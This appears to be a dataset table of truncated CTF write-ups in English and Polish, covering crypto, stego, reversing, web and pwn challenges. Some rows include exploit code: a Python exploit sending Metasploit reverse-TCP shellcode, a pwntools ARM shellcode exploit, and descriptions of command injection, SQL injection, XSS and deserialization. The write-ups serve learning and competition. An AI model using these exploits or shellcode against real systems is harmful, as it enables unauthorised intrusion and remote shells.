text_chunk stringlengths 151 703k |
|---|
## Challenge
Download the file and we get a video file with balls bouncing around. Video on youtube [here](https://www.youtube.com/watch?v=h-E8FpNbVeA).
## Solution
After analysing the video we noticed that certain frames contain a different image. So to analyse this better we extract all the frames of the video. There... |
## FlagHunter 75 (re, 75p, 53 solves)
### PL[ENG](#eng-version)
Wchodzimy pod podany w zadnaniu link i widzimy:
Możemy kliknąć na kraj na mapie w wyniku czemu uzyskujemy jedną z dwóch odpowiedzi.
Jeśli klinęliśmy w kraj w którym jesteśmy (z którego mamy IP):
Jeśli klinięmy w inny kraj:
 between crypto nerds Alice and Bob. It looks mostly like garbage but maybe you can figure something out.
He knows that Alice's RSA key is (n, e) = (0x53a121a11... |
# Hue## Reversing - 450> Flag = WhiteHat{sha1(upper(key))}
## OverviewThe target is an 64-bit exe file statically linked to the MFC library. It is an MFC dialog-based application that has the **WhiteHat icon** and an **about menu** appended to the dialog's system menu.
The dialog has just 2 controls: an edit control an... |
## Rsabin (crypro, 314p, 37 solves)
> Classical things?
> [rsabin-a51076632142e074947b08396bf35ab2.tgz](rsabin.tgz)
### PL[ENG](#eng-version)
Z dołączonego do zadania pliku tgz wypakowujemy dwa kolejne - [rsabin.py](rsabin.py) (kod szyfrujący coś)oraz [cipher.txt](cipher.txt) (wynik wykonania go).
Kod szyfrujący wyglą... |
# readable (pwn 300)
## Description
```Can you read everything ?nc 52.68.53.28 56746
readable-9e377f8e1e38c27672768310188a8b99```(Intentionally no libc given)
## The bugs
The program is *really* simple.
```Cssize_t __fastcall main(__int64 a1, char **a2, char **a3){ char buf[16]; // [sp+0h] [bp-10h]@1
return read(0, ... |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch... |
# Trend Micro CTF 2015: Analysis - Defensive 200
----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| Trend Micro CTF 2015 | Analysis - Defensive 200 | Reversing | 200 |
**Description:**>*Category: Analysis-defensive*>>*Points: ... |
# CSAW Finals 2015: Mandiant - Forensics 300
For this challenge we are given a pdf file called `Mandiant.pdf`. The pdf is 76 pages long, and considering this is a 300 point challenge, the flag or any hint probably isn't sitting there in plain text, so I didn't bother going through it and went straight to `pdf-parser`
#... |
# Module Loader
## Problem
Since his students never know what date it is and how much time they have until the next homework's deadline, Mr P. H. Porter wrote a little webapp for that.You can find it [here](https://school.fluxfingers.net:1522).
## Solution
Credit: [@emedvedev](https://github.com/emedvedev)
The app cont... |
## Limitless (web, 200p)
### PL
[ENG](#eng-version)
W zadaniu dostajemy link do webowego uploadera plików, oraz informacje, że mamy wyciągnąć jakieś informacje z tabeli `flag`.Analiza uploadera oraz jego działania pozwala zauważyć, że uploader po załadowaniu pliku pobiera z niego dane `exif` a następnie na podstawie p... |
### EXORCISE##### 50 pointsQuestion--Simple Exorcise. Get the key! Connect to `exorcise.polictf.it:80`Readings--
Answer--First we can use 'nc' to connect the server:```bash$ nc exorcise.polictf.it 802e0540472c37151c4e007f481c2a0110311204084f[Stands for input]```I have used `null`(ctrl+space) for input and the result w... |
##Crytpo 100 (crypto, 100p)
###PL[ENG](#eng-version)
Treść zadania była następująca "Przechwycono rozmowę hackera w której wymienia tajne hasło. Prawie na pewno jest alfabetem morsa. Głupi protokół usunął wszystkie spacje. Odnajdź hasło."Rozwiązanie to dctf{md5}.
```..-......-..--.-..--..-..-.--..-.-..-.....-..-.--..--... |
## Time is not your friend (re, 200p)
### PL
[ENG](#eng-version)
Dostajemy [program](./re200) (elf), do zbadania, i rozpoczynamy analizę działania.
Ciekawe w programie jest to, że czyta żadnych plików, ani nie chce nic od użytkownika, ani nie bierze żadnych parametrów z linii poleceń - po prostu sie wykonuje.
Trzon pr... |
# sharpturnCSAW 2015 CTF Prelim: Forensics 400
The description for this challenge was something along the lines of:> I think my SATA controller is dying.
Later on a hint was added:> HINT: git fsck -v
## Writeup
The contents of the provided xz archive are things that you would find in a .git directory, so why not make a... |
### XOR Crypter - Crypto 200pts
## Problem
Description: The state of art on encryption, can you defeat it?CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA=
## Solution
We get Python script used for encrypt the flag. Output of this script is Base64 string contains encrypted flag (CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA=)... |
## Challenge
We get only 45 characters to convert the letters in a string into alternating upper and lower case:
```"Hello World! Hallo Welt!"```becomes```"HeLlO wOrLd! HaLlO wElT!"```
## Solution
A legit 44 character solution which works for all given input:
```perl$_=lc"@ARGV";s/[a-z]/$u^=" ";$&^$u/ige;print```Explan... |
## Crypto 400 (crypto, 400p)
### PL
[ENG](#eng-version)
Dostajemy cztery ciphertexty, oraz trzy odpowiadające im plaintexty. W czwartym ciphertexcie znajduje się flaga, i naszym zadaniem jest odzyskać ją:
```pythoninp0 = "People don't understand computers. Computers are magical boxes that do things. People believe wha... |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch... |
# No Crypto (Crypto 200)
```The folowing plaintext has been encrypted using an unknown key, with AES-128 CBC:Original: Pass: sup3r31337. Don't loose it!Encrypted: 4f3a0e1791e8c8e5fefe93f50df4d8061fee884bcc5ea90503b6ac1422bda2b2b7e6a975bfc555f44f7dbcc30aa1fd5eIV: 19a9d10c3b155b55982a54439cb05dce
How would you... |
#Trivia_All_Of_Them
**Category:** Trivia**Points:** 10 each **Description:** trivia questions (nerd stuff)
##Write-upAll the trivia challenges were solved quickly by googling around. We tried to inlude links to good resources about each topic.
Trivia 1--------Q: This family of malware has gained notoriety after anti-... |
The server checks the password attaches the flag and several word to it, gzip it, encrypts it with aes in cbc mode and sends it us back. The encryption seems to be implemented well, and full decryption of the CT seems to be impossible. But since the answer with our password and the flag is compressed before encryption,... |
```#!/usr/bin/python # 9447 Security Society CTF 2015 : calcpop# author: NULL Life# https://twitter.com/marceloje# https://twitter.com/NullLifeTeam
import telnetlib, struct
# linux/x86/shell_reverse_tcp metasploit shellcode sc = "\x90"*16 # overwrited by sending comman... |
##4w1h (misc, 100p)
`Hint! The flag is made up of the direction each image is looking in, like 9447{NWSE}`
###PL[ENG](#eng-version)
Dostajemy w zadaniu 10 obrazów i zgodnie z podpowiedzią mamy sprawdzić w jakim kierunku patrzy kamera która robiła dane zdjęcie.
https://www.google.pl/maps/@-22.9578184,-43.... |
We are given a CT:69 35 41 01 1C 9E 75 78 5D 48 FB F0 84 CD 66 79 55 30 49 4C 56 D2 73 70 12 45 A8 BA 85 C0 3E 53 73 1B 78 2A 4B E9 77 26 5E 73 BF AA 85 9C 15 6F 54 2C 73 1B 58 8A 66 48 5B 19 84 B0 80 CA 33 73 5C 52 0C 4C 10 9E 32 37 12 0C FB BA CB 8F 6A 53 01 78 0C 4C 10 9E 32 37 12 0C FB BA CB 8F 6A 53 01 78 0C 4C 10... |
[](ctf=9447-2015)[](type=reversing)[](tags=xor,memcmp)[](tools=gdb-peda,Hopper)
# The *real* flag finder (Reversing 70)So we are given an [executable](../flagFinderRedux-e72e7ac9b16b8f40acd337069f94d524).
```bash$ file flagFinderRedux-e72e7ac9b16b8f40acd337069f94d524flagFinderRedux-e72e7ac9b16b8f40acd337069f94d524: EL... |
[](ctf=hack.lu-2015)[](type=exploiting,pwn)[](tags=buffer-overflow)[](tools=gdb-peda,pwntools)[](techniques=ROP)
# Stackstuff (Exploiting 150)We have an [archive](../stackstuff_public_d7f6e7f394f649ba96b3113374a0bfb3.tar.gz).On extracting
```bash$ file *hackme: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), ... |
##sanutf8y_check (web, 1p)
###PL[ENG](#eng-version)
Po wejściu na stronę ukazuje nam się:
Nie możemy skopiować tego tekstu ze strony ponieważ są to jedynie dziwne unicodowe znaki wyglądające jak litery. Musimy więc przepisać flagę:
9447{ThiS_iS_what_A_flAg_Looks_LIke}
### ENG version
When we ent... |
##Steganography 3 (Stegano, 100p)
```We can get desktop capture!Read the secret message.```
###PL[ENG](#eng-version)
Dostajemy obraz:
Na podstawie którego chcemy uzyskać flagę. Pierwszym krokiem jest odtworzenie binarki otwartej w hexedytorze. Zrobiliśmy to za pomocą OCRa a następnie ręcznego p... |
##Last Challenge (Thank you for playing) (Misc/Crypto, 50p)
```ex1Cipher:PXFR}QIVTMSZCNDKUWAGJB{LHYEOPlain: ABCDEFGHIJKLMNOPQRSTUVWXYZ{}
ex2Cipher:EV}ZZD{DWZRA}FFDNFGQOPlain: {HELLOWORLDSECCONCTF}
quizCipher:A}FFDNEA}}HDJN}LGH}PWOPlain: ??????????????????????```
###PL[ENG](#eng-version)
Dostajemy do rozwiązania prost s... |
$cat cip_d0283b2c5b4b87423e350f8640a0001e | base64 --decodeWhich shows python one liner.After doing google I found file and try to compare.But I didn't get the flag |
##Connect the server (Web/Network, 100p)
```login.pwn.seccon.jp:10000```
###PL[ENG](#eng-version)
Po połączeniu się z serwerem za pomocą nc dostajemy:
Wpisanie dowolnego loginu także nie daje żadnych efektów. Próbowaliśmy podejść do tego zadania z różnych stron, bez efektów. W końcu uznaliśmy, że sko... |
Bricks of Gold
Crypto - 500
We've captured this encrypted file being smuggled into the country. All we know is that they rolled their own custom CBC mode algorithm - its probably terrible.HINT: take a second look at the file for elements needed for the crypto
So, all you know about the file is that's it's encrypted wit... |
## SECCON: Decrypt it
----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| SECCON | Decrypt it | Crypto | 300 |
*Description*>$ ./cryptooo SECCON{*************************}
>Encrypted(44): waUqjjDGnYxVyvUOLN8HquEO0J5Dqkh/zr/3KXJCE... |
## SECCON: exec dmesg
----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| SECCON | exec dmesg | binary | 300 |
*Description*> Please find secret message from the iso linux image.
----------## Write-up
We find the core-current.iso... |
##Find the prime numbers (Crypto, 200p)
###PL[ENG](#eng-version)
Dostajemy [kod](paillier.txt) skryptu pracującego na serwerze. Skrypt szyfruje pewną wiadomość za pomocą szyfru Pailliera a następnie podaje nam zaszyfrowaną wiadomość oraz kilka innych parametrów. Naszym zadaniem jest złamać szyfr.Szyfr jest lekko zbliżo... |
# Trend Micro CTF 2015: Analysis - Defensive 300
----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| Trend Micro CTF 2015 | Analysis - Defensive 300 | Reversing | 300 |
**Description:**>*Category: Analysis-defensive*>>*Points: ... |
## Try Harder (re, 300p)
### PL[ENG](#eng-version)
Dostajemy [program](./re300) (elf), do zbadania.
W przeciwieństwie do poprzedniego programu tutaj wiemy (czyżby?) od razu co powinniśmy zrobić - podajemy jakiś tekst (flagę) jako parametr w linii poleceń, a program wykonuje kilka sprawdzeń i odpowiada czy flaga jest O... |
## Start SECCON CTF (Exercise, 50p)
ex1 Cipher:PXFR}QIVTMSZCNDKUWAGJB{LHYEO Plain: ABCDEFGHIJKLMNOPQRSTUVWXYZ{}
ex2 Cipher:EV}ZZD{DWZRA}FFDNFGQO Plain: {HELLOWORLDSECCONCTF}
quiz Cipher:A}FFDNEVPFSGV}KZPN}GO Plain: ?????????????????????
###PL[ENG](#eng-version)
Bardzo proste rozgrzewkowe z... |
#Julian Cohen
**Category:** Recon**Points:** 100**Description:**
N/A
##Write-upThis is as easy as it gets. Google it.
In case you missed it the flag shows up on the 1st results page within the ```@HockeyInJune``` Twitter account as ```flag{f7da7636727524d8681ab0d2a072d663}``` |
## Seccon Wars (Stegano, 100p)
https://youtu.be/8SFsln4VyEk
###PL[ENG](#eng-version)
Na filmie wideo zalinkowanym w zadaniu wyraźnie widać zarysy QR CODE, ale jest on zbyt rozmazany by odczytać go bezpośrednio.
Po chwili zastanowienia (jednym z pomysłów było ręczne naprawianie QR kodu "w paincie") wpadliśmy na pomysł ... |
##Bonsai XSS Revolutions (Web/Network, 200p)
>What is your browser(User-Agent)? >[hakoniwaWebMail_20151124.zip](hakoniwaWebMail_20151124.zip) >Requirement:.NET Framework 4.5
###PL[ENG](#eng-version)
Załączona do zadania była mocno zobfuskowana aplikacja .NETowa. Była to symulacja przeglądarki, w której użytkownik log... |
##QR puzzle (Nonogram) (Misc, 300p)
>Solve a puzzle 30 times >http://qrlogic.pwn.seccon.jp:10080/game/
###PL[ENG](#eng-version)
Zadanie było proste: dostajemy losowo wygenerowany nonogram, rozwiązujemy go otrzymując qrcode, dekodujemy go i przechodzimy do następnej rundy. Jeżeli uda nam się dotrzeć do końca to otrzymu... |
## SECCON: unzip
----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| SECCON | unzip | crypto | 100 |
*Description*> Unzip the file
----------## Write-up
In the zip file there are three files:
>```>backnumber08.txt>backnumber09.t... |
## Steganography 1 (Stegano, 100p)
Find image files in the file  Please input flag like this format-->SECCON{*** ** **** ****}
###PL[ENG](#eng-version)
Dostajemy plik o rozszerzeniu .gpjb. Polecenie `file` rozpoznaje go jako gif:
Ale po otworzeniu tego pliku w hexedytorze okaz... |
##QR puzzle (Nonogram) (Misc, 300p)
>Solve a puzzle 30 times >http://qrlogic.pwn.seccon.jp:10080/game/
###PL[ENG](#eng-version)
Zadanie było proste: dostajemy losowo wygenerowany nonogram, rozwiązujemy go otrzymując qrcode, dekodujemy go i przechodzimy do następnej rundy. Jeżeli uda nam się dotrzeć do końca to otrzymu... |
## Reverse 200 (re, 200p)
### PL[ENG](#eng-version)
Dostajemy [program](./r200) (elf konkretnie), który, podobnie jak poprzedni, wykonuje sprawdzenie hasła i odpowiada czy hasło jest poprawne czy nie.
Domyślamy się że poprawne hasło jest flagą.
Cały program to coś w rodzaju:
int main() { printf("Enter the p... |
##Entry form (Web/Network, 100p)
```http://entryform.pwn.seccon.jp/register.cgi
(Do not use your real mail address.)```
###PL[ENG](#eng-version)
Formularz pod podanym linkiem pozwalał nam na podanie adresu e-mail oraz nazwy użytkownika. Po wysłaniu podziękował nam za podanie informacji, ale w rzeczywistości niczego nie... |
## QR Puzzle (Unknown, 200p)
Please solve a puzzle 300 times QRpuzzle.zip
###PL[ENG](#eng-version)
Dostajemy program, który wyświetla poszatkowane QR cody po uruchomieniu:
Dość oczywisty jest cel zadania - należy napisać program który złoży taki QR code, rozwiąże go, oraz wyśle do programu.Moglib... |
## Challenge
Find the flag at http://entryform.pwn.seccon.jp/register.cgi
## Solution
Navigate to the root path of the url http://entryform.pwn.seccon.jp/ to see:
Source of the CGI script available on: http://entryform.pwn.seccon.jp/register.cgi_bak
```perl#!/usr/bin/perl# by KeigoYAMAZAKI, 2015.11.... |
[](ctf=tum-ctf-teaser-2015)[](type=pwn)[](tags=format-string)
#greeter (pwn 15)
```bash$ file ./greeter./greeter: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2657dbbc9fbf7a266d2d963b4644d1c3b44d8304, not stripped``... |
## TinyHosting (web, 250p, 71 solves)
> A new file hosting service for very small files. could you pwn it?> > http://136.243.194.53/
### PL[ENG](#eng-version)
Pod http://136.243.194.53/ znajduje się formularz umożliwiający wysyłanie plików na serwer.
W kodzie HTML znajduje się komentarz:
Po dodaniu do url `?src=1` mo... |
## HD44780 (embedded, 150p, 40 solves)
> The logic states of the GPIOs have been recorded Figure out the displayed message. You're gonna need this [here](./hd44780.tgz)
### PL[ENG](#eng-version)
Dostajemy paczkę z sześcioma zdjęciami i sześcioma plikami, które zostały nazwane RSPI_GPIO_23.txt. Na zdjęci... |
# GuessTheNumber
## Problem
The teacher of your programming class gave you a tiny little task: just write a guess-my-number script that beats his script.
He also gave you some hard facts:- he uses some LCG with standard glibc LCG parameters- the LCG is seeded with server time using number format YmdHMS (python strftime... |
# Trend Micro CTF 2015: crypto100
----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| Trend Micro CTF 2015 | crypto100 | Crypto | 100 |
**Description:**>*Category: Cryptography*>>*Points: 100*>>*Decrypt it by your missing priva... |
## Challenge
Find the flag in this file.
sunrise.zip
## Solution
I didn't see an English writeup for this one, and I had to find out how to solve it post-CTF since I was close but didn't manage to solve it during the CTF.
We unzip the file to see sunrise.png:
I didn't notice anything out of the ordinar... |
##smartcat (Web, 50+50p)
###PL[ENG](#eng-version)
W zadaniu dostajemy do dyspozycji webowy interfejs (CGI) pozwalający pignować wskazanego hosta. Domyślamy się, że pod spodem operacja jest realizowana jako wywołanie `ping` w shellu z doklejonym podanym przez nas adresem.
#### Smartcat1
Pierwsza część zadania polega na... |
#9447-2015-CTF BWS
This challenge was the second part of the YWS challenge where a custom web server was hosting a website. From YMS, we found that there was a directory traversal bug that allowed us to list the files in the root directory. We could see that the root directory contained what appeared to be the flag.txt... |
# Writeup for fridginator
> Solves: 52> > Fridginator 10k - Web/Crypto - 200 pts - realized by clZ My brother John just bought this high-tech fridge which is all flashy and stuff, but has also added some kind of security mechanism which means I can't steal his food anymore... I'm not sure I can survive much longer wit... |
# Perl Golf
## Problem
Johnny B. Krad from your local schoolyard gang thinks that you are a poser! The stuff you solved until now was just luck. He bets that you are not able to beat him in Perl golf.
[Link](https://school.fluxfingers.net:1521/golf/perl/)
## Solution
Credit: [@emedvedev](https://github.com/emedvedev)
T... |
__BreakIn 2016 :: Find the Idiot__==================================
_John Hammond_ | _Sunday, January 24, 2016_
> Honestly I do not have the challenge prompt or description. I will try to add it the moment I am able to retrieve it (it is currently not online).
----------
This challenge was really open-ended, but I'm ... |
## Crypto 50 (crypto, 50p)
### PL
[ENG](#eng-version)
Bardzo przyjemne (dla autora tego writeupa) zadanie. Dostajemy 10 tekstów zaszyfrowanych tym samym stream cipher (z tym samym IV/kluczem), i mamy za zadanie rozszyfrować 11.
Teksty w pliku [input.txt](input.txt)
Orientujemy się od razu, że to sytuacja podobna do te... |
#Steganography 3
We can get desktop capture!Read the secret message.
There are 2 clues found for this challenge. The first clue is statement "This problem can be solved by pre-school children.... Who knows the answer? i can't figure it out !!? ". From the clue we know the challenge may be so easy and simple to solve. !... |
# Bashful
## Problem
"How did I end up here?" is the only question you can think of since you've become a high school teacher. Let's face it, you hate children. Bunch of egocentric retards. Anyway, you are not going to take it anymore. It's time to have your little midlife crisis right in the face of these fuckers.
Goo... |
##Nullcon youtube (Recon, 400p)
One of the NullCon vidoes talked about a marvalous Russian Gift. The Vidoe was uploaded on [May of 2015] What is the ID of that youtube video.
###PL[ENG](#eng-version)
Wchodzimy na youtube, wyszukujemy filmy z maja i testujemy id po kolei.W końcu okazuje się, że poprawny film to:https:... |
## Fridginator (Crypto/Web, 200p)
> My brother John just bought this high-tech fridge which is all flashy and stuff,> but has also added some kind of security mechanism which means I can't steal his> food anymore... I'm not sure I can survive much longer without his amazing yoghurts.> Can you find a way to steal them f... |
##Caesar (Crypto, 400p)
Some one was here, some one had breached the security and had infiltrated here. All the evidences are touched, Logs are altered, records are modified with key as a text from book. The Operation was as smooth as CAESAR had Conquested Gaul. After analysing the evidence we have some extracts of... |
__BreakIn 2016 :: Three Thieves Threw Trumpets Through Trees__================
_John Hammond_ | _Sunday, January 24, 2016_
> Honestly I do not have the challenge prompt or description. I will try to add it the moment I am able to retrieve it (it is currently not online).
----------
This challenge didn't take _too much... |
## Hackover CTF: i-like-to-move-it
----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| Hackover CTF | i-like-to-move-it | Reversing | 350 |
*Description*
>I like to move it, move it>I like to move it, move it>I like to move it, ... |
## Sign server (Web, 100p)
Document signature is so hot right now! SignServer provides you with the most advanced solution to sign and verify your documents. We support any document types and provide you with a unique, ultra-secure signature.
### PL[ENG](#eng-version)
W zadaniu dostępna jest strona, która generuje ... |
##HQLol (Web, 500p)
Plenty of hacker movies. But table FLAG isn't mapped by HQL and you aren't an DB administrator. Anyway, good luck!
###PL[ENG](#eng-version)
W zadaniu dostajemy stronę napisaną w gradle która pozwala przeglądać listę filmów o hackerach oraz wyszukiwać filmy.Ta ostatnia opcja jest wyjatkowo ciekaw... |
##CatchMeIfYouCan (Forensics, 100p)
We got this log which is highly compressed. Find the intruder's secret.
###PL[ENG](#eng-version)
Plik f100 jest pewnego rodzaju Matryoshką kompresyjną, plik trzeba kolejno rozkompresowywać różnymi mniej i bardziej znanymi formatami. Po chwili okazuje się, że plik jest dosyć "głębok... |
##MD5 (Crypto, 200p)
He is influential, he is powerful. He is your next contact you can get you out of this situation. You must reach him soon. Who is he? The few pointers intrecpted by KGB are in the file. Once we know him, we can find his most valuable possession, his PRIDE.
###PL[ENG](#eng-version)
Dostajemy p... |
##smartcat (Web, 50+50p)
###PL[ENG](#eng-version)
W zadaniu dostajemy do dyspozycji webowy interfejs (CGI) pozwalający pignować wskazanego hosta. Domyślamy się, że pod spodem operacja jest realizowana jako wywołanie `ping` w shellu z doklejonym podanym przez nas adresem.
#### Smartcat1
Pierwsza część zadania polega na... |
# Insomnihack 2016 : Crypto (200)
**Category:** crypto |**Points:** 200 |**Name:** Bring the noise |**Solves:** ? |**Description:**
> Quantum computers won't help you>> Source> Running on: bringthenoise.insomnihack.ch:1111
___
## Write-up
Our solution code can be found [here](https://github.com/nomoonx/insomnihack/blob... |
from pwn import *import re
context.update(arch='arm', os='linux', endian='little')
thumbjmp = asm(""" add r6, pc, #1 bx r6""")
dup = asm(""" movs r7, #0x3f @ dup pop {r0} pop {r0} @ get socket eors r1, r1 svc 1 movs r1, #1 svc 1 movs r1, #2 svc 1""", arch='thumb')
execb... |
## Web 100 - SignServer
There was a web page that let us upload any document, signs it and returnsserialized java object in the xml format. Then you can submit back that xml to verify.
Sample signed document looks like below```xml
<java version="1.8.0_72-internal" class="java.beans.XMLDecoder"> <object class="models.CT... |
### Misc 400 - LOL
I think they have changed category title between misc and programming. So it's programming challenge.
If you connect to given ip and port address, it asks you to send back decoded or decompressed valueto the server. Initially we thought it's 25 repititive tasks. But it's way more than that.Challenge ... |
##Trivia 2 (Trivia/Recon, 200p)
I love this song. What is my project ID?
###PL[ENG](#eng-version)
Dostajemy plik mp3 (nie udostępnimy go bo był piracki...) oraz informacje, że flagą jest `project ID`.W pliku mp3 trafiamy na dość nietypowy dobór zdjęcia ustawionego jako okładka albumu.Po wyszukaniu tego zdjęcia przez ... |
# Fix my pdf (misc, 100p)
## PL `For ENG scroll down`
Dostajemy [taki oto pdf](fix_my_pdf.pdf) od autorów zadania.
Wszelkie próby załadowania go do jakiegoś czytnika pdf kończą się niepowodzeniem - wyraźnie wygląda na uszkodzony.
Możemy jeszcze otworzyć go z ciekawości w notepadzie/vimie/emacsie żeby przyjrzeć sie jego... |
# LOL
> Decode this - LOL
In this task we had to write a program, which was decoding various encodings, such as ROT13, hex encoding,zlib compression etc. Unfortunately there was one encoding (called ro42), for which we could not write a true decoder,because the encoding did not differentiate between letter case, while ... |
[](ctf=defcamp-quals-2015)[](type=exploit)[](tags=buffer-overflow)
We are given a [binary](../e100.bin) and a [key](../id_rsa_e100).
```bash$ file e100.bin e100.bin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4410355... |
##RSA (Crypto, 500p)
Now you are one step away from knowing who is that WARRIOR. The Fighter who will decide the fate of war between the 2 countries. The Pride of One and Envey of the Other... You have got the secrete file which has the crucial information to identify the fighter. But the file is encrypted with a... |
## Command-Line Quiz (Unknown, 100p)
telnet caitsith.pwn.seccon.jp User:root Password:seccon The goal is to find the flag word by "somehow" reading all *.txt files.
###PL[ENG](#eng-version)
Łączymy się ze wskazanym serwerem:
```CaitSith login: rootPassword:$ lsbin flags.txt linuxrc stage1.tx... |
# Trivia Question 4
> Use the file. Get the flag. But, you know what, I hate pipes.
The file contained program written in Ook programming language. Running it gives string:```starting from 0.0.0.0, print the following IPs. 7277067th IP Address7234562th IP Address7302657th IP Address91238th IP Address746508th IP Address... |
# HackIM Crypto 1
>You are in this GAME. A critical mission, and you are surrounded by the beauties, ready to shed their slik gowns on your beck. On onside your feelings are pulling you apart and another side you are called by the duty. The biggiest question is seX OR success? The signals of subconcious mind are not cl... |
# CSAW Finals 2015 - Exploitation 500 `boombox`
## What `boombox` does normallyThe `boombox` application allows non-malicious users to upload tapes consisting of a number of tracks of data.It plays them by rendering them into a phonetic approximation of music.Every 4 bits of the data are rendered into a phenome based o... |
##Caesar (Crypto, 400p)
Some one was here, some one had breached the security and had infiltrated here. All the evidences are touched, Logs are altered, records are modified with key as a text from book. The Operation was as smooth as CAESAR had Conquested Gaul. After analysing the evidence we have some extracts of... |
__BreakIn 2016 :: Oops__==================================
_John Hammond_ | _Sunday, January 24, 2016_
> <style></style>
----------
This challenge was not all that difficult, but it a bit to understand what the real goal was.
If you looked at the source of the challenge's page, you could see that in the problem's desc... |
##Xor with static key (Crypto, 500p)
You are in this GAME. A critical mission, and you are surrounded by the beauties, ready to shed their slik gowns on your beck. On onside your feelings are pulling you apart and another side you are called by the duty. The biggiest question is seX OR success? The signals of sub... |
[](ctf=tum-ctf-teaser-2015)[](type=rev)[](tags=xtea)[](tool=pwntools)
# whitebox crypto (rev 20)
So we have an [executable](../xtea)
Problem statement```Do not panic, it's only XTEA! I wonder what the key was...```
Little bit of google we get this piece of code from [Wikipedia](https://en.wikipedia.org/wiki/XTEA)```cvo... |
##Cook (Recon, 300p)
Still Hungry and unsutisfied, you are looking for more. Some more, unique un heard dishes. Then you can find one to make it your self. Its his Dish. He has his own website which is he describes as " a social home for each of our passions". The link to his website is on his google+ page. what... |
# Simple - Crypto 100 problem
In this challenge, we have the ability to log into a website with a usernameand password. These are stored in a json blob, along with the dictionaryelement `"db":"hitcon-ctf"`. This json blob is then encrypted with AES in CFBmode and saved as a cookie. Our goal is to get the json blob to a... |
So, we are on a page to leave comments on the site, and the goal is to log in as admin. Let me think... I can bet it's an XSS exploit, but let do some search.We found that there is at least two more pages : admin.php and login.php.We're trying an easy payload for XSS on the comments section : < img src="bla" onError="w... |
if you need some informations or CTF link or PNGs and JPG can you Contact Me : FB.com/belcaid.mohammedGreetZ To: r00ts team - Red Army - Soviet Bear#Subscribe + #Like + #Share and thank you !! |
So, we're beginning with a login page, and nothing else.We were trying fastly some SQL injection payload and find that it seems to be a Blind SQL Injection (edit: it seems it wasn't. Damn it!). So... we just want to retrieve the first password from the database. Let's try it out!I just make a little and dirty php scrip... |
This challenge was a little blog about technology, with very few content.Looking at the source code, we can see static files are in files/images/. Just get a look to files/ directory. There is a flag directory!Be sure there is something like a flag.txt or flag.jpg in it. But we don't have the permission to read what's ... |
## SRM (Reverse, 50p)
> The flag is : The valid serial number> [Download](RM.exe)
###ENG[PL](#pl-version)
We downloaded windows binary and run it. It asks us to enter serial and checks its validity.
We disasembled it, and checked content of its DialogFunc. We can clearly see interesting fragment:
```cif (strlen(v13) !... |
## dMd (Reverse, 50p)
> Flag is : The valid input> [Download](dMd)
###ENG[PL](#pl-version)
We downloaded the program and started analysing it with help of disasembler. Skipping boring parts, most important part of program was looking like:
```cint main() { // ... input = md5(input); // ... if (input[0] != 55 || ... |
A tiny tiny shell script :)English version : https://0x90r00t.com/2016/02/07/sharif-university-ctf-2016-web-250-old-persian-cuneiform-captcha-wri...Version Française : https://0x90r00t.com/fr/2016/02/07/sharif-university-ctf-2016-web-250-old-persian-cuneiform-captcha-... |
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